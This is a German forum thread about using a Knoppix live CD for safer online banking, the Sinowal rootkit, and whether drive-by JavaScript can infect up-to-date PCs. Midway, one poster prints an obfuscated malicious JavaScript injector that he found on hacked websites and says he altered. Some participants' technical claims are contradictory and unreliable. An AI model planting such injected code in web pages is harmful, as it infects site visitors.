Hallo Leute

Kann mir jemand meine Gedankengänge mal kontrollieren und kommentieren ...

Ich hohl mir Knoppix auf CD/DVD. Wenn ich E-Banking machen will, starte ich meinen PC von dieser CD aus. Mögliche Infektionen auf meinem PC spielen somit während des E-Bankings keine Rolle.

ABER
Wird eine Malware wie Sinowal nicht vor Knoppix ins System geladen. Er sitzt ja als rootkit ziemlich weit unten drin?
Müsste ich, um ganz sicher zu gehen, einen "PC ohne Festplatte" nur mit Knoppix bereit stellen, damit E-Banking sicher wird?

Ich hab etliche Kunden, die sich Sinowal eingefangen und zum Teil über Wochen/Monate nicht gemerkt. haben Erst als das FTP-Passwort zur Website nicht mehr funktionierte, bemerkte der Kunde sein Unglück. Mittlerweile war aber auf seiner Website schon ein Schadcode eingebaut worden, der per Java Script die nächsten DAUs infizierte.
Meine Kunden sind nun etwas verunsichert, da sie jetzt erlebt haben, was es heisst, wenn ein Passwort geklaut wurde. Sie möchten nun von mir eine Empfehlung für sichereres E-Banking. Gewisse Banken beginnen mittlerweile zu reagieren, andere labern immer noch von "Postkutschenüberfälle gab es schon früher" und "wir haben bisher noch alle Angriffe bemerkt und blockiert, obwohl es eigentlich noch nie einen Angriff gab bei uns ..."

Herzlichen Dank und
Gruss
Martin

Was für Kunden hast du denn?Ich möchte schon wissen, wer meine Gedanken als seine verkauft.

Lesetipp: http://www.trojaner-board.de/63342-wie-oft-lasst-ihr-den-pc-scannen-6.html#59

Und nein, eine (explizit!) Windows-Malware hat unter Knoppix nicht viel zu melden, theoretisch mag aber eine Malware auch mehr können als nur ein Betriebssystem.

Hallo Shadow

Herzlichen Dank für Deine Antwort und den Link. Wie ich mir gedacht habe. "Sicher" gibts einfach nicht. Dein Vorschlag geht in die gleiche Richtung wie meine Idee. Einen PC nur fürs E-Banking ...

Zum Ideentransfer ...
Es geht mir um "Gratis-Tipps" bzw. Hilfe-Transfer - dafür sind ja Foren doch da - und nicht darum fremde Ideen zu verkaufen. Wenn ich solche Tipps an meine Kunden weiter gebe, dann kosten die nichts. In der Regel schick ich ihm den Link und er kann sich es selber nachlesen und ausprobieren.

Zu meinen Kunden ...
Nun, meine Kunden sind ganz normale Menschen und Gewerbetreibende - keine IT-Profis - aber eine gewisse Grundkenntnis von PCs darf man schon erwarten. Trotzdem, die Wahrscheinlichkeit dort einen infizierten PC anzutreffen ist relativ hoch. Zumal der Code auf diesen, weiter oben beschriebenen, Websites echt gemein ist.

Du gehst auf eine Website, die Du seit Jahren kennst und denkst Dir nichts böses. Einmal und nur ganz kurz öffnet sich im Hintergrund ein neues Fenster, aber das haben wir doch alle schon mal erlebt, oder nicht? Nur ist es dieses Mal nicht ganz harmlos, dieses neue Fenster ... Wer nicht alle Java Scripts automatisch blockiert hat ist schon verloren. Und Java Script haben nun mal immer noch über 98% (Quelle etracker.com) eingeschaltet. Ob IE oder FF oder Opera ist egal ...
Wenn Du willst kann ich Dir den entsprechenden Code gerne hier zur Verfügung stellen. Eine Kopie der entsprechenden HTML-Seite hab ich archiviert.

Gruss
Martin

Zitat von FSt_CH

Einmal und nur ganz kurz öffnet sich im Hintergrund ein neues Fenster, aber das haben wir doch alle schon mal erlebt, oder nicht?

Nein, wenn ich ehrlich bin noch nicht muss ich mich jetzt schämen?
Ich bin seit 15 Jahren (beruflich) im Web unterwegs und habe dies noch nicht selber erlebt.
Ich gehöre jedoch zu den laut etracker 2%, allerdings ein paar Sites dürfen bei mir "automatisch "JS" (zum Beispiel die von meinem Router), meine eigenen Websites gehören nicht zwangsläufig dazu, ich versuche Sites zu machen, bei denen kein unnützer Müll nötig ist. :aplaus:
(Setze aber JS durchaus auch mal ein, aber es ist i.Allg. nicht nötig für den Nutzer)

Und JS alleine schafft noch keine Malware dauerhaft auf das System (wenn aktuell und ordentlich eingerichtet), ist nur eine Krücke für "Social Engeneering", also mangelhaft geschulte "brain.exe".

Noch etwas zum Thema Bootsektor bzw. Sinowal.

Der einzigst bekannte (und aktuelle) Schädling, der den MBR befällt ist imo Sinowal.

Sinowal ist ein Rootkit, dieses versteckt Malware wie Virtumonde (früher) und auch häufig Backdoor Server.

Sinowal alleine kann keine Passwörter loggen, keine TANs stehlen und auch keinen PC remote kontrollieren lassen.

Zitat von Shadow

Nein, wenn ich ehrlich bin noch nicht muss ich mich jetzt schämen?

Witzig ...

Zitat von Shadow

Ich gehöre jedoch zu den laut etracker 2%,

q.e.d.

Zitat von Shadow

ich versuche Sites zu machen, bei denen kein unnützer Müll nötig ist

Toll, ich versuchs nicht nur, ich machs sogar. Meine Websites enthalten kein JS, aber darum gehts doch gar nicht.

Zitat von Shadow

Und JS alleine schafft noch keine Malware dauerhaft auf das System (wenn aktuell und ordentlich eingerichtet), ist nur eine Krücke für "Social Engeneering", also mangelhaft geschulte "brain.exe".

Einspruch Euer Ehren! Schau Dir mal den unten angehängten Code an. Dieses Schnippsel wird - meines Erachtens - von Hand und mit viel Liebe zum Detail an der richtigen Stelle eingebaut. Also, z.B. bei Frame-Websites auf der Navigations-Seite, bei Websites, die JS in einer externen Datei einbinden als erste Zeile, und bei Websites die weder noch haben, taucht diese Zeile als letzte Zeile vor dem schliessenden Body-tag auf.
Wie Du siehts, bin ich schön mehrfach über diesen kleinen "Schlingel" gestossen und hab meine und Kunden-Erfahrungen sammeln müssen/können/dürfen.
Wenn ich die nächste Website finde, auf der dieser Code noch live drauf ist, kann ich Dir ja mal den Link senden

<script language="javascript">£="%64b%3d%22%3c7`7%3c7a7%3c7b7%3c7c7%3c7d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c%2526%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudT%22;dd%3d%22iSx%2522%3c}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950%25265##950%2522%2526M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209%22;dz%3d%22%2566unc%2574%2569on%2520dw(%2574)%257bca%253d%2527%252564oc%252575m%2565n%252574.w%25257%2532i%2574%252565%2528%252522%2527;ce%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572ipt%252520%256c%25256%2531ngu%252561%2567e%25253d%25255c%252522ja%2576a%252573c%2572i%252570%252574%25255c%252522%25253e%2527;cc%253d%2527%25253c%2525%2535%2563%25252fs%2563%2572i%2570t%25253e%2527;eval%2528%2575nes%2563ape%2528t))%257d%253b%22;cd%3d%223dst+%2553tr%2569n%2567.f%2572%256fmCh%2561rC%256f%2564e((%2574%256d%2570.%2563h%22;cc%3d%225ngt%2568;i%252b+)%257bt%256dp%253dds.%2573%256ci%2563e%2528i,i%252b1)%253bst%25%22;cb%3d%22e%2528ds%2529;%2573t%253dt%256dp%253d%2527%2527;for(%2569%253d%2530;i%253cds.l%256%22;cu%3d%22(gwf}d`4xuzsausq)6~ubugwf}d`6*}r4%3czub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dobuf4d%7bdKazpqf4)4zaxx%2fbuf4d%7bdKw%7b%7b%257F}qKzuyq4)46upbyu%257FqfK%257F%7byud6%2fbuf4d%7bdK`}yq%7ba`4)4#%2526$%2frazw`}%7bz4d%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3dobuf4}gKqzuvxqp4)4ruxgq%2f}r4%3c5c}zp%7bc:%7bdqfu42245zub}su`%7bf:w%7b%7b%257F}qQzuvxqp%3dfq`afz4}gKqzuvxqp%2f}r4%3c`mdq%7br4p%7bwayqz`:w%7b%7b%257F}q4))43g`f}zs3%3d}r4%3cp%7bwayqz`:w%7b%7b%257F}q:xqzs`|4))4$%3dop%7bwayqz`:w%7b%7b%257F}q4)46`qg`6%2f}gKqzuvxqp4)4p%7bwayqz`:w%7b%7b%257F}q4))43`qg`3%2fp%7bwayqz`:w%7b%7b%257F}q4)433%2fiqxgqo}gKqzuvxqp4)4`faq%2fifq`afz4}gKqzuvxqp%2firazw`}%7bz4d%7bdKsq`W%7b%7b%257F}q%3czuyq%3dobuf4w%7b%7b%257F}q4)46464?4p%7bwayqz`:w%7b%7b%257F}q%2fbuf4gqufw|4)46464?4zuyq4?46)6%2fbuf4gq`G`f4)4zaxx%2fbuf4%7brrgq`4)4$%2fbuf4qzp4)4$%2f}r4%3cw%7b%7b%257F}q:xqzs`|4*4$%3do%7brrgq`4)4w%7b%7b%257F}q:}zpql[r%3cgqufw|%3d%2f}r4%3c%7brrgq`45)49%25%3do%7brrgq`4?)4gqufw|:xqzs`|%2fqzp4)4w%7b%7b%257F}q:}zpql[r%3c6%2f684%7brrgq`%3d%2f}r4%3cqzp4))49%25%3doqzp4)4w%7b%7b%257F}q:xqzs`|%2figq`G`f4)4azqgwudq%3cw%7b%7b%257F}q:gavg`f}zs%3c%7brrgq`84qzp%3d%3d%2fiifq`afz%3cgq`G`f%3d%2firazw`}%7bz4d%7bdKgq`W%7b%7b%257F}q4%3czuyq84buxaq%3dop%7bwayqz`:w%7b%7b%257F}q4)4zuyq4?46)64?4qgwudq%3cbuxaq%3d4?46%2f4qld}fqg)Rf}pum8%27%259Pqw9!$4%2526%27.!-.!-4SY@%2f4du`|);%2f6%2firazw`}%7bz4g|%7bcKd%7bd%3c%3dobuf4d%7bdKczp4)46|``d.;;rvwyr}f:w%7by;ws}9v}z;}zpql:ws}+pl6%2fbuf4rquKczp4)46gwf%7bxxvufg)%258fqg}nuvxq)%258`%7b%7bxvuf)%258x%7bwu`}%7bz)%258yqzavuf)%258g`u`ag)%258p}fqw`%7bf}qg)$6%2fbuf4zqqpK%7bdqz4)4`faq%2f}r4%3cp%7bwayqz`:%7bzwx}w%257FKw%7bdm45)4zaxx%3dp%7bwayqz`:%7bzwx}w%257FKw%7bdm%3c%3d%2f}r4%3cp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm45)4zaxx%3dp%7bwayqz`:v%7bpm:%7bzvqr%7bfqazx%7bupKw%7bdm%3c%3d%2f}r4%3cd%7bdKazpqf45)4zaxx%3do}r4%3c5d%7bdKazpqf:wx%7bgqp%3dzqqpK%7bdqz4)4ruxgq%2fi}r4%3czqqpK%7bdqz%3do}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3dobux4)4d%7bdKsq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq%3d%2f}r4%3cbux45)4zaxx%3doz%7bc4)4zqc4Pu`q%3c%3d%2fbux%25264)4zqc4Pu`q%3cbux%3d%2fa`w%27%25264)4Pu`q:A@W%3cz%7bc:sq`RaxxMquf%3c%3d84z%7bc:sq`Y%7bz`|%3c%3d84z%7bc:sq`Pu`q%3c%3d84z%7bc:sq`%255C%7bafg%3c%3d84z%7bc:sq`Y}za`qg%3c%3d84z%7bc:sq`Gqw%7bzpg%3c%3d%3d%2fa`w%25264)4Pu`q:A@W%3cbux%2526:sq`RaxxMquf%3c%3d84bux%2526:sq`Y%7bz`|%3c%3d84bux%2526:sq`Pu`q%3c%3d84bux%2526:sq`%255C%7bafg%3c%3d84bux%2526:sq`Y}za`qg%3c%3d84bux%2526:sq`Gqw%7bzpg%3c%3d%3d%2f}r4%3c4%3c4a`w%27%2526494a`w%25264%3d4;4%25$$$4(4d%7bdK`}yq%7ba`%3e%2522$%3dozqqpK%7bdqz4)4ruxgq%2fiiii}r4%3czqqpK%7bdqz%3doazpqf4)4c}zp%7bc:%7bdqz%3cd%7bdKczp846684rquKczp%3d%2fazpqf:vxaf%3c%3d%2fc}zp%7bc:r%7bwag%3c%3d%2f}r4%3cd%7bdKw%7b%7b%257F}qKqzuvxqp%3c%3d%3doz%7bc4)4zqc4Pu`q%3c%3d%2fd%7bdKgq`W%7b%7b%257F}q%3cd%7bdKw%7b%7b%257F}qKzuyq84z%7bc%3d%2fiiirazw`}%7bz4d%7bdK}z}`%3c%3dobuf4bqf4)4dufgqRx%7bu`%3czub}su`%7bf:uddBqfg}%7bz%3d%2fbuf4bqf%25264)4%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-!6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4-,6%3d*)$4hh4zub}su`%7bf:agqfUsqz`:}zpql[r%3c6C}zp%7bcg4Z@6%3d*)$4%3d22%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3[dqfu3%3d4))49%25%3d22%3czub}su`%7bf:uddZuyq45)43Zq`gwudq3%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3YG]Q3%3d4*49%25%3d422%3czub}su`%7bf:agqfUsqz`:}zpql[r%3c3GB%253%3d4*49%25%3d422%3cbqf4*)4%2520%3d%2f}r4%3cbqf%2526%3do}r4%3cp%7bwayqz`:x}z%257Fg%3dor%7bf4%3cbuf4})$%2f4}(p%7bwayqz`:x}z%257Fg:xqzs`|%2f4}??%3do}r4%3cp%7bwayqz`:x}z%257FgO}I:`ufsq`45)46Kvxuz%257F6%3dop%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F%2fp%7bwayqz`:x}z%257FgO}I:%7bzwx}w%257F4)4g|%7bcKd%7bd%2fiiiip%7bwayqz`:%7bzwx}w%257FKw%7bdm4)4p%7bwayqz`:%7bzwx}w%257F%2fp%7bwayqz`:%7bzy%7bagqad4)4g|%7bcKd%7bd%2fid%7bdK}z}`%3c%3d%2fi(;gwf}d`*%22;de%3d%22M+}Sx-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:%2526950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;dc%3d%22qi89;%25229+u|cu0d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8$:t99;8}Nt9:$9;t9+budeb~0b+mfqb0t-7vrs}vyb%3es%257F}7+fqb0iSx!%3c%22;cz%3d%22%2566u%256ec%2574i%256fn %2563z%2528%2563%257a)%257bret%2575rn%2520c%2561%252b%2563%2562%252bc%2563+%2563%2564+c%2565+c%257a;}%253b%22;da%3d%22fqb0})-~ug0Qbbqi87|qe~%257F7%3c7%7brtfu7%3c7zsdxb7%3c7ytvyb7%3c7xufyv7%3c7wvhuc7%3c7vwfuc7%3c7uxwxd7%3c7tzu~y7%3c7s%7bud~7%3c7r||uf7%3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7%7b7%3c7|7%3c7}7%3c7~7%3c7%257F7%22;ca%3d%22%2566%2575nc%2574%2569o%256e%2520dcs%2528ds%252ce%2573)%257bds%253dun%2565s%2563ap%22;ce%3d%22%2561%2572Co%2564e%2541t(%2530)^%2528%25270x0%2530%2527+es%2529%2529);}%257d%22;op%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c14)%2529;%2522;%22;st%3d%22%2573t%253d%2522$%253ds%2574%253b%2564c%2573%2528%2564a%252b%2564%2562%252b%2564%2563+%2564%2564%252b%2564e%252c1%2530%2529;%2564w%2528%2573t%2529%253bs%2574%253d%2524;%2522;%22;%69f %28d%6fc%75me%6et.%63ook%69%65%2eind%65%78%4f%66(%27%76%62ull%65%74%69%6e%5f%6dult%69qu%6f%74%65%3d%27)%3d%3d-1)%7bsc(%27vbulle%74%69%6e_%6dul%74iq%75ote%3d%27,2,7%29;e%76a%6c%28u%6ee%73ca%70e%28dz+%63%7a+op%2bs%74)+%27dw%28dz%2bcz%28$+s%74))%3b%27)}e%6cse%7b$%3d%27%27};function%20s%63(c%6em,%76,e%64)%7bv%61r e%78d%3dnew D%61t%65();%65xd.%73%65%74D%61%74e(%65xd.%67e%74Da%74e(%29+%65d);%64oc%75men%74%2ecoo%6bie%3dc%6em%2b %27%3d%27 +%65sc%61%70%65(v%29+%27;e%78p%69%72es%3d%27+e%78d.%74o%47MTS%74ri%6e%67%28);}%3b";</script>
         

Website != Webseite


Ohne jetzt analysiert zu haben, was dieses Script anrichtet, sollte ein PC ordentlich konfiguriert und aktuell sein, so kann ein JS nicht selbständig (heute) wirklich Schaden auf einem PC anrichten, es bedarf (eventuell mit Täuschung => social engineering) der Mithilfe des Nutzers.

Zitat von Shadow

Website != Webseite

Schon klar. Webseite ist eine Teilmenge von Website

Zitat von Shadow

Ohne jetzt analysiert zu haben, was dieses Script anrichtet, sollte ein PC ordentlich konfiguriert und aktuell sein, so kann ein JS nicht selbständig (heute) wirklich Schaden auf einem PC anrichten, es bedarf (eventuell mit Täuschung => social engineering) der Mithilfe des Nutzers.

Leider nein. Ob mit IE oder FF. Wenn JS aktiviert ist, dann geht die Post ab. Betriebssystem, Browser und Plugins auf dem neuesten Stand. Einziger Unterschied zu den Profis ist das fehlende NoScript-Add-on. No social engineering needed!
Weite Infos hier: Bericht von RSA FraudAction Research Lab

Für die Analyse des Scripts müsstest Du mir eine PN senden. Ich hab nicht ganz das Original veröffentlicht. Es fahlen da zwei Dinge und eine ist verändert worden. Will ja keine Viren-Schleuder hier einbauen.

Zitat von FSt_CH

Leider nein. Ob mit IE oder FF. Wenn JS aktiviert ist, dann geht die Post ab. Betriebssystem, Browser und Plugins auf dem neuesten Stand. Einziger Unterschied zu den Profis ist das fehlende NoScript-Add-on. No social engineering needed!
Weite Infos hier: Bericht von RSA FraudAction Research Lab

(Man kann JS auch ohne "NoScript" deaktiviert haben, ist zwar insbesondere bei IE5/6 (wegen PDF) etwas nervig, aber machbar)

Nein, steht eher genau das Gegenteil drin. (Jedenfalls lese ich dies heraus)
Du musst unterscheiden zwischen:

- Javascript welches in Emails enthalten ist bzw. Emails die Malware enthalten

- Webseiten die Malware enthalten, u.U. als Javascript, bzw. Webseiten die JavaScript enthalten die zu Malware führen

- der Routine mit der Webseiten mit dieser Malware infiltriert werden


Sinowal täuscht (unerfahrenen) Nutzern vor ein Windows-Update zu verlinken (social engineering), klickt der Nutzer nun darauf, dann ist es wohl deutlich als Zutun des Nutzers zu werten. Erst dann kommt die tatsächliche Malware auf den Computer (der Nutzer installiert sie).

Allerdings habe ich mich bisher mit Sinowal (und anderer aktueller Malware) aus Zeitgründen quasi nie beschäftig. Aber eine 5-Minuten-Recherche sagt eigentlich genau dies aus.

Zitat von FSt_CH

Will ja keine Viren-Schleuder hier einbauen.

guter Mann
Hatte den Thread schon gescannt.

Zitat von FSt_CH

Für die Analyse des Scripts müsstest Du mir eine PN senden. Ich hab nicht ganz das Original veröffentlicht. Es fahlen da zwei Dinge und eine ist verändert worden.

Sehr schön! sollte ich Zeit haben und einen Grund sehen von obiger Einschätzung abzuweichen, sende ich dir ein PN.
Oder hat dieses JS mit Sinowal nichts zu tun, ist es ein anderer Fall?

Nachtrag: Fast hättest du mich ja zumindest auf diesem Eck übertölpelt

Zitat von Shadow

sollte ein PC ordentlich konfiguriert und aktuell sein,

Sinowal braucht zur INstallation zuzüglich zu der Nutzeraktion "Klickiklick" noch Adminrechte (bzw. der Nutzer braucht Adminrechte, sonst kann er Sinowal nicht installieren), Sinowal kann sich NICHT in den MBR schreiben. Und was gehört zu einemordentlich konfigurierten PC?
Was wars noch einmal? Surfen ist nur dem Administrator erlaubt ist leider nicht die richtige Lösung, du magst den 50:50 oder Publikumsjoker auswählen.

Zitat von Shadow

Oder hat dieses JS mit Sinowal nichts zu tun, ist es ein anderer Fall?

Ich hab die Infektion nie komplett durchgespielt. "Den Anfang", das öffnen der neuen Website hab ich gesehen. Danach ist meistens nichts passiert. Hab aber auch mal gesehen, wie eine "Kiste" sofort danach neu gestartet hatte und beim Booten schon ein rootkit meldete.
Welche und wie viele Infektionen nun genau auf der Kiste drauf waren, weiss ich nicht mehr genau. Hatte damals mehrere Tools laufen lassen von "Spyware Doctor" über "Panda Anti-root-kit" bis "GMER" und "Backlight". Zusammen wurden über 100 Infektionen gemeldet. Sorry!
Ich vermute Siowal hinter dieser Infektion, weil erstens das beschriebene Muster (FTP-Passwörter, rootkit, usw.) passt und ich mich glaube an "Sinoval" als Meldung eines dieser Tools zu erinnern.

Danke für Deine Geduld und Gruss
Martin

Zitat von FSt_CH

Danke für Deine Geduld

Njet. Wir sind hier in der Diskussionsabteilung, und da kann man sich doch unterhalten, helfen(?). Meinunge austauschen etc ...

Ich habe aber keine Webquelle gefunden, die besagt, dass Sinowal (bei der Infektion!) ohne Adminrechte sich installieren könnte.
Ich habe keine Quelle gefunden, die behauptet, es wäre keine Interaktion (bei aktuellem System) nötig, damit die echte Malkware sich installiert. Bei alten Betriebsystemen mit z.B. ebenfalls altem Outlook Express wäre dies allerdings vorstellbar.

Es ist auch vorstellbar, dass ein bereits (unbemerkt) infizierter PC, bei einem Treffen auf "Sinowal" oder andere Malware, untypisch und überraschend reagiert. Es ist ebenfalls vorstellbar bzw. sogar ganz "normal", dass ein (befallener oder "sauberer") PC beim On-Demand-Scannen im Browser-Cache Malware-Signaturen findet. Die "muss" so sein, wenn du eine Seite mit "bösem JavaScript öffnest, schließlich wird die Seite ja in den Speicher geladen. Wird der Cache nicht (automatisch) geleert, ist der Müll da. Scannst du den Cache, wird der Müll als Fund angezeigt, auch ohne dass eine Infektion erfolgt ist.
Surfst du als "Gast" mit deaktiviertem JavaScript und würdest auf eine Webseite mit integriertem Malware-Javascript surfen, dieses Script würde mit der HTML-Seite heruntergeladen werden und im Browsercache abgelegt werden. Wegen 1.) deaktiviertem Javascript wird der Müll gar nicht gelesen und wegen 2.) könnte er selbst wenn er die Browserschranke durchbrechen könnte, nichts (sofortiges) anstellen. Und trotzdem würde im Browsercache die Virensignatur gefunden werden (wenn das JS-Schnipsel dazu ausreicht erkannt zu werden).

Allerdings testen die Antirootkit-Tools nicht den Browser-Cache. Finden die was (bzw. genau den "Freund") dann ist er vermutlich da. Aber ohne Adminrechte und ohne Interaktion geht nichts.

Hallo Shadow

Das mit den Admin-Rechten hast Du ja schon recht - ABER ...
Wie sieht ein PC eines ONU aus? Selbstverständlich ist er als Admin unterwegs, wieso auch nicht - er weiss ja nicht mal das es was anderes gibt.

Zur Interaktion ...
Ich würd Dir ja gerne glauben, habe bisher eigentlich auch immer gedacht, es müsse so sein. Nur leider hab ich bei besagtem Script die Infektion mehrfach beobachtet.
Der Aufruf einer infizierten Webseite allein genügte um das "Rösslispiel" los zu treten. Das wiederholte Aufrufen dieser Webseite mit einem bereits infizierten PC hatte keine weiteren Aktionen mehr zur Folge. Es war echt "gespenstisch", spätestens nach plötzlichen booten gehörte der PC nicht mehr seinem Besitzer.

Cache
Das ist schon klar. Ich fand über 100 Infektionen in der Registry sowie einzelne Dateien (nicht im Temp) und auch rootkits.

Schöner Abend noch
Martin

Zitat von FSt_CH

Hallo Shadow

Das mit den Admin-Rechten hast Du ja schon recht - ABER ...
Wie sieht ein PC eines ONU aus? Selbstverständlich ist er als Admin unterwegs, wieso auch nicht - er weiss ja nicht mal das es was anderes gibt.

Selbstverständlich ist es nicht, ich weiß aber um die Schwierigkeit, dass dies nicht so ist - es ist fast unmöglich bei ONU.
Don Quichote hatte es da noch leichter, ich gebe zu, ich habe da weitgehend resigniert.
(Da ist Vistas UAC wirklich der Weg in die richtige Richtung.)

Zitat von FSt_CH

Zur Interaktion ...
Ich würd Dir ja gerne glauben, habe bisher eigentlich auch immer gedacht, es müsse so sein. Nur leider hab ich bei besagtem Script die Infektion mehrfach beobachtet.

Nun, vielleicht sollte ich doch mal testen. Allerdings gibt es keine Quelle im Web die Sinowal ordentlich beschreibt, die nicht explizit behauptet, dass Interaktion nötig wäre. (Zumindest keine die ich gelesen habe). Vielleicht teste ich doch mal, alles eine Zeitfrage.